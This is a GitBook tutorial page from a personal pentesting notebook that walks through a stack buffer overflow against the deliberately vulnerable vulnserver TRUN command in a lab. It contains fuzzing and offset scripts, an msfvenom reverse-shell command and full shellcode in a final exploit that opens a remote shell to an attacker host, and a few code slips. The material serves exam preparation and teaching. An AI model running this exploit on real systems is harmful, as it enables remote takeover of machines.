The Nen-Book
LinkedinTwitterMediumGithubHTB
  • Whoami
  • Walkthroughs & Writeups
    • My CTF Methodology
    • Hack The Box Machines
      • Administrator
      • Escape two
      • Cicada
      • HTB Permx Machine(CVE-2023–4220 Chamilo LMS)
    • Intigriti 1337Up 2024
      • Intigriti 1337Up 2024-CTF OSINT Challenges
      • Intigriti 1337Up Live 2024-CTF Web Challenges
    • CyCTF Quals 2024
      • OSINT Challenges CyCTF Quals 2024
      • Old Friend OSINT Challenge CyCTF 2024 Quals Writeup
    • PicoCTF
      • PicoCTF 2024 Web Exploitation Challenges
      • PicoCTF 2024 General Skills Challenges
      • PicoCTF 2021 Web Exploitation Challenges Walkthrough
      • PicoCTF 2019 Web Exploitation Challenges
  • Web_AppSec
    • Web_Recon
    • SQli
    • ATO
    • Backend_Technology_Tricks
    • XSS
    • SSRF
    • CSRF
    • XXE
    • SSTI
    • Insecure_Deserialization
    • Open_Redirects
    • Information_Disclosures
    • Rate_Limiting
    • Clickjacking
    • Broken Access Control & IDORS
    • Bash_Scripting
    • Authentication_Vulnerabilities
    • App_Logic_Errors
  • Network & AD Pentesting
    • Scanning & Enumeration
    • Active_Directory
      • AD_Overview_&_ Lab Build
      • AD_Initial_Attack_Vectors
      • AD_Post-Compromise_Enumeration
      • AD_Post-Compromise_Attacks
    • Buffer_Overflow_Attacks
    • Web_Applications
    • Privilege_Escalation
  • Cloud_Security
    • AWS Pentesting
  • APISec
    • API_Recon
    • Broken_Access_Control & Info_Leaks
  • Code_Review
    • Source_Code_Review_101
    • Code Review Tools
  • Bug_Hunting
    • Picking_A_BugBounty_Program
    • Writing_A_Good_Report
  • MITRE ATT&CK
    • Introducing the ATT&CK Framework
    • MITRE Engenuity
    • Threat-Informed Defense
Powered by GitBook
On this page
  • Computer Arch basics
  • Buffer OverFlow in action
  • Spiking
  • Fuzzing
  • Finding The Offset
  • Overwriting The EIP
  • Finding The Bad Chars
  • Finding The Right Module

Was this helpful?

Edit on GitHub
  1. Network & AD Pentesting

Buffer_Overflow_Attacks

PreviousAD_Post-Compromise_AttacksNextWeb_Applications

Last updated 5 months ago

Was this helpful?

Computer Arch basics

Stack pointer (ESP)
points to the top of the stack

Base Pointer (EBB)

points to the bottom of the stack

Instruction Pointer (EIP)

points to the next instruction to be executed

Buffer OverFlow in action

in my situation I’m running immunity debugger and vulnserver program which is a simple vulnerable server accepts connections on 9999 port by default and the TRUN command we will work on

Spiking

in my situation I’m running immunity debugger and vulnserver program which is a simple vulnerable server accepts connections on 9999 port by default and the TRUN command we will work on

first we need to know which input is vulnerable this process is called spiking, we can do this by tool called **generic_send_tcp it take spiking script as an argument ,**it will send many connections and if it’s crashed so it’s a vuln input here:

#trun.spk script 

s_readline();
s_string("TRUN")' #TRUN is the exact name of the vuln command
s_string_variable("0");
 generic_send_tcp 192.168.1.2 9999 trun.spk 0 0 

Fuzzing

in this process we try to estimate at what point the command will crash so we send chars and increasing it every time till it crash using this python script:

#!/bin/python3

import sys,socket
from time import sleep

buffer= "A" * 100
while True:
    try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + buffer).encode())
        s.close()
        sleep(1)
        buffer = buffer + "A" * 100
        
    except:
        print('Fuzzing crashed at = %s' % str(len(buffer)))
        sys.exit()

receiving connections

crashed here we can see it’s crashed at what point

Finding The Offset

here we gonna be looking for where we can control the EIP, using :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
## -l for length which we got from fuzzing script ( I round it up)

let’s modify our script to send this payload we got and send it again

#!/bin/python3

import sys,socket
from time import sleep

offset =" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"

try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + offset).encode())
        s.close()
        
except:
        print(' Error connecting to server')
        sys.exit()

and then run it and see the value of the EIP which is the offset we are looking for

now we will try to find where is that address using the same metasploit tool

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 43376F43

Overwriting The EIP

so we have 2001 byte and 4 bytes for EIP it self , our target is the 4 bytes so let’s modify our code and run it

#!/bin/python3

import sys,socket
from time import sleep

#fill all rigesters with A(41) but the EIP with B(42) to make sure we got the exact 4 bytes right 
shellcode= "A" * 2001 + "B" * 4
try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + shellcode).encode())
        s.close()
        
        
except:
        print(' Error connecting to server')
        sys.exit()

Finding The Bad Chars

to find them we can send all the hex chars and remove them one by one so lets modify our code

#!/bin/python3

import sys,socket
from time import sleep

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

#fill all rigesters with A(41) but the EIP with B(42) to make sure we got the exact 4 bytes right 
shellcode= "A" * 2002 + "B" * 4 + badchars
try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + shellcode).encode())
        s.close()
        
        
except:
        print(' Error connecting to server')
        sys.exit()

we run the code and go to the immunity debugger

  • now start search in DUMP if there are any char in wrong place or removed

  • when u find consecutive bad chars u have to worry about the first of them not the second (if u removed both it will still work)

  • sometimes when a bad char has been removed it substitute with another char (try to search for that char will be easiest to identify the bad chars but take care not all of them are bad sometimes there’s that that char in it’s right place not a substitution)

Finding The Right Module

second we find the right module in mona , the right module will have false in most of memory protection and will be attached and will be in the path of our VULN program

in our case the right one is the first one

we need to know which return address is available for us to make JMP ESP command and using our module in order to control the EIP , so we need to search for it but by the OPCODE(hexa decimal equivalent to assembly code) after that we search for the best pointer to it :

I’ll try the first one, we should try them till it works let’s modify our code:

#!/bin/python3

import sys,socket
from time import sleep

#625011af that was our return adderess for the right Module and JMP command

#here instead of having 4B's in EIP we will put our return address so the EIP now have a JMP code and the JMP code will take us to our mallicious code
shellcode= "A" * 2002 + "\xaf\11\50\x62" #we write in revers cuz it's an little indian format(it put the lower order byte at the lowest address)
try:
        s=socket.socket(socket.AF_INET , socket.SOCK_STREAM)
        s.connect(('192.168.1.2',9999))
        s.send(('TRUN / .:/' + shellcode).encode())
        s.close()
        
        
except:
        print(' Error connecting to server')
        sys.exit()

go to immunity and start to follow that return address we prepared and make a breakpoint by pressing F2 (this will make the program pause at this point actually at the EIP)

let’s run our script after that

note(the actual size was 2001 but when i tested by putting B’s in the EIP it doesn’t work so i tried 2002 and it worked perfectly until that point ,, but now there was some problem somehow i couldn’t reach our breakpoint address so i tried to make it 2001 and it worked 😅 so I just wanted to explain all this )

after we ran the script we should see that the EIP in a breakpoint and has been controlled 🤠

it’s the time to create our shell we will use MSVENOM and modify our script

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
  • -p for payload

  • EXITFUNC= thread to make it more stable

  • -f for format

  • -a for architecture

  • -b for removing the bad chars , in our case it’s just the null byte

#!/usr/bin/python3

import sys, socket
from time import sleep

#b for encoding
overflow = (b"\xbf\xab\x88\xa2\xd2\xda\xd4\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
b"\x52\x83\xee\xfc\x31\x7e\x0e\x03\xd5\x86\x40\x27\xd5\x7f\x06"
b"\xc8\x25\x80\x67\x40\xc0\xb1\xa7\x36\x81\xe2\x17\x3c\xc7\x0e"
b"\xd3\x10\xf3\x85\x91\xbc\xf4\x2e\x1f\x9b\x3b\xae\x0c\xdf\x5a"
b"\x2c\x4f\x0c\xbc\x0d\x80\x41\xbd\x4a\xfd\xa8\xef\x03\x89\x1f"
b"\x1f\x27\xc7\xa3\x94\x7b\xc9\xa3\x49\xcb\xe8\x82\xdc\x47\xb3"
b"\x04\xdf\x84\xcf\x0c\xc7\xc9\xea\xc7\x7c\x39\x80\xd9\x54\x73"
b"\x69\x75\x99\xbb\x98\x87\xde\x7c\x43\xf2\x16\x7f\xfe\x05\xed"
b"\xfd\x24\x83\xf5\xa6\xaf\x33\xd1\x57\x63\xa5\x92\x54\xc8\xa1"
b"\xfc\x78\xcf\x66\x77\x84\x44\x89\x57\x0c\x1e\xae\x73\x54\xc4"
b"\xcf\x22\x30\xab\xf0\x34\x9b\x14\x55\x3f\x36\x40\xe4\x62\x5f"
b"\xa5\xc5\x9c\x9f\xa1\x5e\xef\xad\x6e\xf5\x67\x9e\xe7\xd3\x70"
b"\xe1\xdd\xa4\xee\x1c\xde\xd4\x27\xdb\x8a\x84\x5f\xca\xb2\x4e"
b"\x9f\xf3\x66\xc0\xcf\x5b\xd9\xa1\xbf\x1b\x89\x49\xd5\x93\xf6"
b"\x6a\xd6\x79\x9f\x01\x2d\xea\x60\x7d\x2c\xee\x08\x7c\x2e\xff"
b"\x94\x09\xc8\x95\x34\x5c\x43\x02\xac\xc5\x1f\xb3\x31\xd0\x5a"
b"\xf3\xba\xd7\x9b\xba\x4a\x9d\x8f\x2b\xbb\xe8\xed\xfa\xc4\xc6"                                                                           
b"\x99\x61\x56\x8d\x59\xef\x4b\x1a\x0e\xb8\xba\x53\xda\x54\xe4"
b"\xcd\xf8\xa4\x70\x35\xb8\x72\x41\xb8\x41\xf6\xfd\x9e\x51\xce"
b"\xfe\x9a\x05\x9e\xa8\x74\xf3\x58\x03\x37\xad\x32\xf8\x91\x39"
b"\xc2\x32\x22\x3f\xcb\x1e\xd4\xdf\x7a\xf7\xa1\xe0\xb3\x9f\x25"
b"\x99\xa9\x3f\xc9\x70\x6a\x5f\x28\x50\x87\xc8\xf5\x31\x2a\x95"
b"\x05\xec\x69\xa0\x85\x04\x12\x57\x95\x6d\x17\x13\x11\x9e\x65"
b"\x0c\xf4\xa0\xda\x2d\xdd")

#625011af that was our return adderess for the right Module and JMP command

#here instead of having 4B's in EIP we will put our return address so the EIP now have a JMP code and the JMP code will take us to our mallicious code
#the first 2001 A's will take us to the EIP
#when we get to the EIP we put our JMP address,the JMP address will take us to the instructions that we provide 
#the instructions we provide is our msvenom shell code we just generated 
#the "\x90" is NOPs is just padding between our jmp and shell code we try more than one size like 16,32..

shellcode = b"A" * 2002 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.1.2',9999))

	payload = b"TRUN /.:/" + shellcode

	s.send((payload))
	s.close()
except:
	print ("Error connecting to server")
	sys.exit()

after that open netcat session listening on port u provided when make the shell and run the script and hopefully u will get the shell on the machine

and this is what we got : It means that at at 2001 bytes we can control the EIP

first download module and put it in the pycommands folder so we can use it in immunity debugger

mona.py
40 Intro to Buffer Overflow - OSCP | Offensive Security Certified Professional
Buffer Overflow شرح | OSCP Preparation | Ethical Hacking 0x1
Untitled
Untitled
receiving connections
crashed
Untitled
Untitled
Untitled
Untitled
Untitled
Untitled
Untitled
Untitled
Untitled
Untitled